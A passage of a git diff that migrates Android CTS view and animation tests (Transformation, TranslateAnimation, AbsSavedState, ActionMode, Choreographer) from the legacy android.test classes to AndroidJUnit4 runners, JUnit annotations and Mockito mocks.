 package android.view.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+
 import android.graphics.Matrix;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.Transformation;
 
-public class TransformationTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TransformationTest {
+    private static final float COMPARISON_DELTA = 0.001f;
+
+    @Test
     public void testConstructor() {
         new Transformation();
     }
 
+    @Test
     public void testCompose() {
         final Transformation t1 = new Transformation();
         final Transformation t2 = new Transformation();
@@ -40,7 +54,7 @@
         Matrix expectedMatrix = new Matrix();
         expectedMatrix.setScale(9, 1);
         assertEquals(expectedMatrix, t2.getMatrix());
-        assertEquals(0.4f * 0.5f, t2.getAlpha());
+        assertEquals(0.4f * 0.5f, t2.getAlpha(), COMPARISON_DELTA);
         assertEquals(Transformation.TYPE_ALPHA, t2.getTransformationType());
 
         t1.setTransformationType(Transformation.TYPE_IDENTITY);
@@ -48,10 +62,11 @@
         expectedMatrix = new Matrix();
         expectedMatrix.setScale(27, 1);
         assertEquals(expectedMatrix, t2.getMatrix());
-        assertEquals(0.4f * 0.5f * 0.5f, t2.getAlpha());
+        assertEquals(0.4f * 0.5f * 0.5f, t2.getAlpha(), COMPARISON_DELTA);
         assertEquals(Transformation.TYPE_ALPHA, t2.getTransformationType());
     }
 
+    @Test
     public void testClear() {
         final Transformation t1 = new Transformation();
         final Transformation t2 = new Transformation();
@@ -76,11 +91,12 @@
     }
 
     private void assertTransformationEquals(Transformation expected, Transformation actual) {
-        assertEquals(expected.getAlpha(), actual.getAlpha());
+        assertEquals(expected.getAlpha(), actual.getAlpha(), COMPARISON_DELTA);
         assertEquals(expected.getMatrix(), actual.getMatrix());
         assertEquals(expected.getTransformationType(), actual.getTransformationType());
     }
 
+    @Test
     public void testAccessTransformationType() {
         final Transformation transformation = new Transformation();
 
@@ -100,6 +116,7 @@
         assertEquals(Transformation.TYPE_BOTH, transformation.getTransformationType());
     }
 
+    @Test
     public void testSet() {
         final Transformation t1 = new Transformation();
         t1.setAlpha(0.0f);
@@ -108,24 +125,27 @@
         assertTransformationEquals(t1, t2);
     }
 
+    @Test
     public void testAccessAlpha() {
         final Transformation transformation = new Transformation();
 
         transformation.setAlpha(0.0f);
-        assertEquals(0.0f, transformation.getAlpha());
+        assertEquals(0.0f, transformation.getAlpha(), 0.0f);
 
         transformation.setAlpha(0.5f);
-        assertEquals(0.5f, transformation.getAlpha());
+        assertEquals(0.5f, transformation.getAlpha(), 0.0f);
 
         transformation.setAlpha(1.0f);
-        assertEquals(1.0f, transformation.getAlpha());
+        assertEquals(1.0f, transformation.getAlpha(), 0.0f);
     }
 
+    @Test
     public void testToString() {
         assertNotNull(new Transformation().toString());
         assertNotNull(new Transformation().toShortString());
     }
 
+    @Test
     public void testGetMatrix() {
         final Matrix expected = new Matrix();
         final Transformation transformation = new Transformation();
diff --git a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
index 06daa72..ee8b187 100644
--- a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
@@ -16,10 +16,19 @@
 
 package android.view.animation.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.XmlResourceParser;
 import android.graphics.Matrix;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -27,15 +36,17 @@
 import android.view.animation.LinearInterpolator;
 import android.view.animation.Transformation;
 import android.view.animation.TranslateAnimation;
-
 import android.view.cts.R;
 
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class TranslateAnimationTest
-        extends ActivityInstrumentationTestCase2<AnimationTestCtsActivity> {
-
-    private Activity mActivity;
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TranslateAnimationTest {
     private static final long DURATION = 1000;
     private static final float POSITION_DELTA = 0.001f;
     private static final float FROM_X_DETLTA = 0.0f;
@@ -47,25 +58,28 @@
     private static final float RELATIVE_FROM_Y_DELTA = 0.0f;
     private static final float RELATIVE_TO_Y_DELTA = 0.4f;
 
-    public TranslateAnimationTest() {
-        super("android.view.cts", AnimationTestCtsActivity.class);
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<AnimationTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationTestCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructors() {
-
         // Test with null AttributeSet
         new TranslateAnimation(mActivity, null);
 
         final XmlResourceParser parser = mActivity.getResources().getAnimation(
                 R.anim.anim_translate);
         final AttributeSet attr = Xml.asAttributeSet(parser);
-        assertNotNull(attr);
+        Assert.assertNotNull(attr);
         // Test with real AttributeSet
         new TranslateAnimation(mActivity, attr);
 
@@ -83,7 +97,8 @@
                 Animation.RELATIVE_TO_SELF, -0.6f, Animation.RELATIVE_TO_SELF, -0.6f);
     }
 
-    public void testApplyTransformation(){
+    @Test
+    public void testApplyTransformation() throws Throwable {
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final Transformation transformation = new Transformation();
         final MyTranslateAnimation translateAnimation =
@@ -94,7 +109,8 @@
         translateAnimation.initialize(0, 0, 0, 0);
         assertTrue(translateAnimation.isInitialized());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, translateAnimation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                translateAnimation);
         final long startTime = translateAnimation.getStartTime();
 
         float values[] = new float[9];
@@ -141,7 +157,8 @@
         assertEquals(TO_Y_DELTA, values[Matrix.MTRANS_Y], POSITION_DELTA);
     }
 
-    public void testInitialize() {
+    @Test
+    public void testInitialize() throws Throwable {
         final View parent = mActivity.findViewById(R.id.anim_window_parent);
         final View animWindow = mActivity.findViewById(R.id.anim_window);
         final Transformation transformation = new Transformation();
@@ -162,7 +179,8 @@
         translateAnimation.setDuration(DURATION);
         translateAnimation.setInterpolator(new LinearInterpolator());
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), animWindow, translateAnimation);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, animWindow,
+                translateAnimation);
         final long startTime = translateAnimation.getStartTime();
 
         float values[] = new float[9];
@@ -187,7 +205,6 @@
     }
 
     private static class MyTranslateAnimation extends TranslateAnimation {
-
         public MyTranslateAnimation(float fromXDelta, float toXDelta, float fromYDelta,
                 float toYDelta) {
             super(fromXDelta, toXDelta, fromYDelta, toYDelta);
diff --git a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
index 3662e2c..12bba10 100644
--- a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
@@ -16,85 +16,144 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.AbsSavedState;
 
-public class AbsSavedStateTest extends InstrumentationTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    // constant for test of writeToParcel
-    public static final int TEST_NUMBER = 1;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsSavedStateTest {
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorNullParcelable() {
+        new AbsSavedStateImpl((Parcelable) null);
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullParcel() {
+        new AbsSavedStateImpl((Parcel) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullParcelAndClassLoader() {
+        new AbsSavedStateImpl(null, null);
+    }
+
+    @Test
     public void testConstructor() {
-        MockParcelable superState = new MockParcelable();
-        assertNotNull(superState);
-        new MockAbsSavedState(superState);
+        AbsSavedState superState = new AbsSavedStateImpl(Parcel.obtain());
+        assertSame(AbsSavedState.EMPTY_STATE, superState.getSuperState());
+
+        AbsSavedState s = new AbsSavedStateImpl(superState);
+        assertSame(superState, s.getSuperState());
 
         Parcel source = Parcel.obtain();
-        new MockAbsSavedState(source);
+        source.writeParcelable(superState, 0);
+        source.setDataPosition(0);
+        s = new AbsSavedStateImpl(source, AbsSavedStateImpl.class.getClassLoader());
+        assertTrue(s.getSuperState() instanceof AbsSavedState);
 
-        MockAbsSavedState savedState = new MockAbsSavedState(source);
-        assertEquals(0, savedState.describeContents());
+        source = Parcel.obtain();
+        s = new AbsSavedStateImpl(source);
+        assertSame(AbsSavedState.EMPTY_STATE, s.getSuperState());
+
+        source = Parcel.obtain();
+        source.writeParcelable(superState, 0);
+        source.setDataPosition(0);
+        s = new AbsSavedStateImpl(source, AbsSavedStateImpl.class.getClassLoader());
+        assertTrue(s.getSuperState() instanceof AbsSavedState);
+
+        source = Parcel.obtain();
+        s = new AbsSavedStateImpl(source, AbsSavedState.class.getClassLoader());
+        assertSame(AbsSavedState.EMPTY_STATE, s.getSuperState());
     }
 
-    public void testGetSuperState() {
-        MockParcelable superState = new MockParcelable();
-        assertNotNull(superState);
-        MockAbsSavedState savedState = new MockAbsSavedState(superState);
+    @Test
+    public void testCreator() {
+        int size = 10;
+        AbsSavedState[] array = AbsSavedState.CREATOR.newArray(size);
+        assertNotNull(array);
+        assertEquals(size, array.length);
+        for (AbsSavedState state : array) {
+            assertNull(state);
+        }
 
-        assertSame(superState, savedState.getSuperState());
+        AbsSavedState state = new AbsSavedStateImpl(AbsSavedState.EMPTY_STATE);
+        Parcel parcel = Parcel.obtain();
+        state.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AbsSavedState unparceled = AbsSavedState.CREATOR.createFromParcel(parcel);
+        assertNotNull(unparceled);
+        assertNull(unparceled.getSuperState());
+
+        AbsSavedState stateWithSuper = new AbsSavedStateImpl(state);
+        parcel = Parcel.obtain();
+        stateWithSuper.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        if (AbsSavedState.CREATOR instanceof Parcelable.ClassLoaderCreator) {
+            try {
+                ((Parcelable.ClassLoaderCreator) AbsSavedState.CREATOR).createFromParcel(parcel,
+                        AbsSavedStateImpl.class.getClassLoader());
+                fail("Expected IllegalStateException");
+            } catch (IllegalStateException e) {
+                // Expected.
+            }
+        }
     }
 
+    @Test
     public void testWriteToParcel() {
-        MockParcelable superState = new MockParcelable();
-        assertNotNull(superState);
-        MockAbsSavedState savedState = new MockAbsSavedState(superState);
-
+        Parcelable superState = mock(Parcelable.class);
+        AbsSavedState savedState = new AbsSavedStateImpl(superState);
         Parcel dest = Parcel.obtain();
         int flags = 2;
         savedState.writeToParcel(dest, flags);
-
-        // we instantiate the writeToParcel of Parcalable
-        // and give a return for test
-        assertEquals(TEST_NUMBER, superState.writeToParcelRunSymbol());
-        assertEquals(flags, superState.getFlags());
+        verify(superState).writeToParcel(eq(dest), eq(flags));
     }
 
-    static class MockAbsSavedState extends AbsSavedState {
-
-        public MockAbsSavedState(Parcelable superState) {
+    private static class AbsSavedStateImpl extends AbsSavedState {
+        AbsSavedStateImpl(Parcelable superState) {
             super(superState);
         }
 
-        public MockAbsSavedState(Parcel source) {
+        AbsSavedStateImpl(Parcel source) {
             super(source);
         }
-    }
 
-    static class MockParcelable implements Parcelable {
-
-        // Test for writeToParcel
-        private int mTest;
-        private int mFlags;
-
-        public int describeContents() {
-            return 0;
+        AbsSavedStateImpl(Parcel source, ClassLoader loader) {
+            super(source, loader);
         }
 
-        // Instantiate writeToParcel
-        public void writeToParcel(Parcel dest, int flags) {
-            mTest = TEST_NUMBER;
-            mFlags = flags;
-        }
+        public static final Creator<AbsSavedStateImpl> CREATOR =
+                new ClassLoaderCreator<AbsSavedStateImpl>() {
+            @Override
+            public AbsSavedStateImpl createFromParcel(Parcel source) {
+                return new AbsSavedStateImpl(source);
+            }
 
-        // For test of writeToParcel
-        public int writeToParcelRunSymbol() {
-            return mTest;
-        }
+            @Override
+            public AbsSavedStateImpl createFromParcel(Parcel source, ClassLoader loader) {
+                return new AbsSavedStateImpl(source, loader);
+            }
 
-        public int getFlags() {
-            return mFlags;
-        }
+            @Override
+            public AbsSavedStateImpl[] newArray(int size) {
+                return new AbsSavedStateImpl[size];
+            }
+        };
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
index e75b7ae..95b1929 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
@@ -16,17 +16,36 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
 import android.graphics.Rect;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ActionMode;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.View;
 
-public class ActionModeCallback2Test extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ActionModeCallback2Test {
     private static final int VIEW_WIDTH = 123;
     private static final int VIEW_HEIGHT = 456;
 
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testCallbackOnGetContentRectDefaultWithView() {
         View view = new View(mContext);
         view.setLeft(0);
@@ -35,7 +54,7 @@
         view.setBottom(VIEW_HEIGHT);
 
         Rect outRect = new Rect();
-        MockActionModeCallback2 callback = new MockActionModeCallback2();
+        ActionMode.Callback2 callback = new MockActionModeCallback2();
         callback.onGetContentRect(null, view, outRect);
 
         assertEquals(0, outRect.top);
@@ -44,9 +63,10 @@
         assertEquals(VIEW_WIDTH, outRect.right);
     }
 
+    @Test
     public void testCallbackOnGetContentRectDefaultWithoutView() {
         Rect outRect = new Rect();
-        MockActionModeCallback2 callback = new MockActionModeCallback2();
+        ActionMode.Callback2 callback = new MockActionModeCallback2();
         callback.onGetContentRect(null, null, outRect);
 
         assertEquals(0, outRect.top);
diff --git a/tests/tests/view/src/android/view/cts/ActionModeTest.java b/tests/tests/view/src/android/view/cts/ActionModeTest.java
index 534db31..e28173d 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeTest.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeTest.java
@@ -16,59 +16,96 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.app.Instrumentation;
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ActionMode;
 import android.view.Menu;
 import android.view.MenuInflater;
-import android.view.MenuItem;
 import android.view.View;
 
-public class ActionModeTest extends ActivityInstrumentationTestCase2<ActionModeCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    public ActionModeTest() {
-        super(ActionModeCtsActivity.class);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ActionModeTest {
+    private Instrumentation mInstrumentation;
+    private ActionModeCtsActivity mActivity;
+
+    @Rule
+    public ActivityTestRule<ActionModeCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ActionModeCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
+    @Test
     public void testSetType() {
-        ActionMode actionMode = new MockActionMode();
-        assertEquals(ActionMode.TYPE_PRIMARY, actionMode.getType());
+        final ActionMode mockActionMode = new MockActionMode();
+        assertEquals(ActionMode.TYPE_PRIMARY, mockActionMode.getType());
 
-        actionMode.setType(ActionMode.TYPE_FLOATING);
-        assertEquals(ActionMode.TYPE_FLOATING, actionMode.getType());
+        mockActionMode.setType(ActionMode.TYPE_FLOATING);
+        assertEquals(ActionMode.TYPE_FLOATING, mockActionMode.getType());
 
-        actionMode.setType(ActionMode.TYPE_PRIMARY);
-        assertEquals(ActionMode.TYPE_PRIMARY, actionMode.getType());
+        mockActionMode.setType(ActionMode.TYPE_PRIMARY);
+        assertEquals(ActionMode.TYPE_PRIMARY, mockActionMode.getType());
     }
 
+    @Test
     public void testInvalidateContentRectDoesNotInvalidateFull() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode mockActionMode = spy(new MockActionMode());
 
-        actionMode.invalidateContentRect();
+        mockActionMode.invalidateContentRect();
 
-        assertFalse(actionMode.mInvalidateWasCalled);
+        verify(mockActionMode, never()).invalidate();
     }
 
-    public void testInvalidateContentRectOnFloatingCallsCallback() {
-        final View view = getActivity().contentView;
-        final MockActionModeCallback2 callback = new MockActionModeCallback2();
+    @Test
+    public void testInvalidateContentRectOnFloatingCallsCallback() throws Throwable {
+        final View view = mActivity.contentView;
+        final ActionMode.Callback2 mockCallback = mock(ActionMode.Callback2.class);
+        doReturn(Boolean.TRUE).when(mockCallback).onCreateActionMode(
+                any(ActionMode.class), any(Menu.class));
+        doReturn(Boolean.TRUE).when(mockCallback).onPrepareActionMode(
+                any(ActionMode.class), any(Menu.class));
 
-        getActivity().runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                ActionMode mode = view.startActionMode(callback, ActionMode.TYPE_FLOATING);
-                assertNotNull(mode);
-                mode.invalidateContentRect();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            ActionMode mode = view.startActionMode(mockCallback, ActionMode.TYPE_FLOATING);
+            assertNotNull(mode);
+            mode.invalidateContentRect();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
-        assertTrue(callback.mIsOnGetContentRectCalled);
+        verify(mockCallback, atLeastOnce()).onGetContentRect(any(ActionMode.class), any(View.class),
+                any(Rect.class));
     }
 
+    @Test
     public void testSetAndGetTitleOptionalHint() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
 
         // Check default value.
         assertFalse(actionMode.getTitleOptionalHint());
@@ -79,8 +116,9 @@
         assertFalse(actionMode.getTitleOptionalHint());
     }
 
+    @Test
     public void testSetAndGetTag() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
         Object tag = new Object();
 
         // Check default value.
@@ -90,65 +128,39 @@
         assertSame(tag, actionMode.getTag());
     }
 
+    @Test
     public void testIsTitleOptional() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
 
         // Check default value.
         assertFalse(actionMode.isTitleOptional());
     }
 
+    @Test
     public void testIsUiFocusable() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
 
         // Check default value.
         assertTrue(actionMode.isUiFocusable());
     }
 
+    @Test
     public void testHide() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
 
         actionMode.hide(0);
         actionMode.hide(ActionMode.DEFAULT_HIDE_DURATION);
     }
 
+    @Test
     public void testOnWindowFocusChanged() {
-        MockActionMode actionMode = new MockActionMode();
+        final ActionMode actionMode = new MockActionMode();
 
         actionMode.onWindowFocusChanged(true);
         actionMode.onWindowFocusChanged(false);
     }
 
-    private static class MockActionModeCallback2 extends ActionMode.Callback2 {
-        boolean mIsOnGetContentRectCalled = false;
-
-        @Override
-        public boolean onCreateActionMode(ActionMode mode, Menu menu) {
-            return true;
-        }
-
-        @Override
-        public boolean onPrepareActionMode(ActionMode mode, Menu menu) {
-            return true;
-        }
-
-        @Override
-        public boolean onActionItemClicked(ActionMode mode, MenuItem item) {
-            return false;
-        }
-
-        @Override
-        public void onDestroyActionMode(ActionMode mode) {}
-
-        @Override
-        public void onGetContentRect(ActionMode mode, View view, Rect outRect) {
-            mIsOnGetContentRectCalled = true;
-            super.onGetContentRect(mode, view, outRect);
-        }
-    }
-
-    private static class MockActionMode extends ActionMode {
-        boolean mInvalidateWasCalled = false;
-
+    protected static class MockActionMode extends ActionMode {
         @Override
         public void setTitle(CharSequence title) {}
 
@@ -166,7 +178,6 @@
 
         @Override
         public void invalidate() {
-            mInvalidateWasCalled = true;
         }
 
         @Override
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 38f351c..6c95e1f 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -16,12 +16,20 @@
 
 package android.view.cts;
 
-import android.test.InstrumentationTestCase;
-import android.view.Choreographer;
+import static org.junit.Assert.fail;
 
-public class ChoreographerNativeTest extends InstrumentationTestCase {
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ChoreographerNativeTest {
     private long mChoreographerPtr;
-    private Choreographer mChoreographer;
 
     private static native long nativeGetChoreographer();
     private static native boolean nativePrepareChoreographerTests(long ptr);
@@ -32,24 +40,21 @@
         System.loadLibrary("ctsview_jni");
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mChoreographerPtr = nativeGetChoreographer();
-            }
-        });
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mChoreographerPtr = nativeGetChoreographer();
         if (!nativePrepareChoreographerTests(mChoreographerPtr)) {
             fail("Failed to setup choreographer tests");
         }
     }
 
+    @Test
     public void testPostCallbackWithoutDelayEventuallyRunsCallbacks() {
         nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(mChoreographerPtr);
     }
 
+    @Test
     public void testPostCallbackWithDelayEventuallyRunsCallbacks() {
         nativeTestPostCallbackWithDelayEventuallyRunsCallbacks(mChoreographerPtr);
     }
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index 6862fac..e152d5b 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -16,10 +16,29 @@
 
 package android.view.cts;
 
-import android.test.InstrumentationTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
+import android.os.SystemClock;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Choreographer;
 
-public class ChoreographerTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ChoreographerTest {
     private static final long NOMINAL_VSYNC_PERIOD = 16;
     private static final long DELAY_PERIOD = NOMINAL_VSYNC_PERIOD * 5;
     private static final long NANOS_PER_MS = 1000000;
@@ -27,17 +46,13 @@
 
     private Choreographer mChoreographer;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mChoreographer = Choreographer.getInstance();
-            }
-        });
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mChoreographer = Choreographer.getInstance();
     }
 
+    @Test
     public void testFrameDelay() {
         assertTrue(Choreographer.getFrameDelay() > 0);
 
@@ -49,10 +64,11 @@
         Choreographer.setFrameDelay(oldFrameDelay);
     }
 
-    public void testPostCallbackWithoutDelayEventuallyRunsCallbacks() {
-        MockRunnable addedCallback1 = new MockRunnable();
-        MockRunnable addedCallback2 = new MockRunnable();
-        MockRunnable removedCallback = new MockRunnable();
+    @Test
+    public void testPostCallbackWithoutDelay() {
+        final Runnable addedCallback1 = mock(Runnable.class);
+        final Runnable addedCallback2 = mock(Runnable.class);
+        final Runnable removedCallback = mock(Runnable.class);
         try {
             // Add and remove a few callbacks.
             mChoreographer.postCallback(
@@ -64,22 +80,18 @@
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, removedCallback, null);
 
-            // Sleep for a couple of frames.
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
-
             // We expect the remaining callbacks to have been invoked once.
-            assertEquals(1, addedCallback1.invocationCount);
-            assertEquals(1, addedCallback2.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
+            verify(addedCallback2, times(1)).run();
+            verifyZeroInteractions(removedCallback);
 
             // If we post a callback again, then it should be invoked again.
             mChoreographer.postCallback(
                     Choreographer.CALLBACK_ANIMATION, addedCallback1, null);
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
 
-            assertEquals(2, addedCallback1.invocationCount);
-            assertEquals(1, addedCallback2.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(2)).run();
+            verify(addedCallback2, times(1)).run();
+            verifyZeroInteractions(removedCallback);
 
             // If the token matches, the the callback should be removed.
             mChoreographer.postCallback(
@@ -88,9 +100,8 @@
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN);
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, null, TOKEN);
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
-            assertEquals(3, addedCallback1.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(3)).run();
+            verifyZeroInteractions(removedCallback);
 
             // If the action and token matches, then the callback should be removed.
             // If only the token matches, then the callback should not be removed.
@@ -100,9 +111,8 @@
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN);
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN);
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
-            assertEquals(4, addedCallback1.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(4)).run();
+            verifyZeroInteractions(removedCallback);
         } finally {
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, addedCallback1, null);
@@ -113,9 +123,10 @@
         }
     }
 
-    public void testPostCallbackWithDelayEventuallyRunsCallbacksAfterDelay() {
-        MockRunnable addedCallback = new MockRunnable();
-        MockRunnable removedCallback = new MockRunnable();
+    @Test
+    public void testPostCallbackWithDelay() {
+        final Runnable addedCallback = mock(Runnable.class);
+        final Runnable removedCallback = mock(Runnable.class);
         try {
             // Add and remove a few callbacks.
             mChoreographer.postCallbackDelayed(
@@ -126,18 +137,15 @@
                     Choreographer.CALLBACK_ANIMATION, removedCallback, null);
 
             // Sleep for a couple of frames.
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
+            SystemClock.sleep(NOMINAL_VSYNC_PERIOD * 3);
 
             // The callbacks should not have been invoked yet because of the delay.
-            assertEquals(0, addedCallback.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
-
-            // Sleep for the rest of the delay time.
-            sleep(DELAY_PERIOD);
+            verifyZeroInteractions(addedCallback);
+            verifyZeroInteractions(removedCallback);
 
             // We expect the remaining callbacks to have been invoked.
-            assertEquals(1, addedCallback.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback, timeout(DELAY_PERIOD * 3).times(1)).run();
+            verifyZeroInteractions(removedCallback);
 
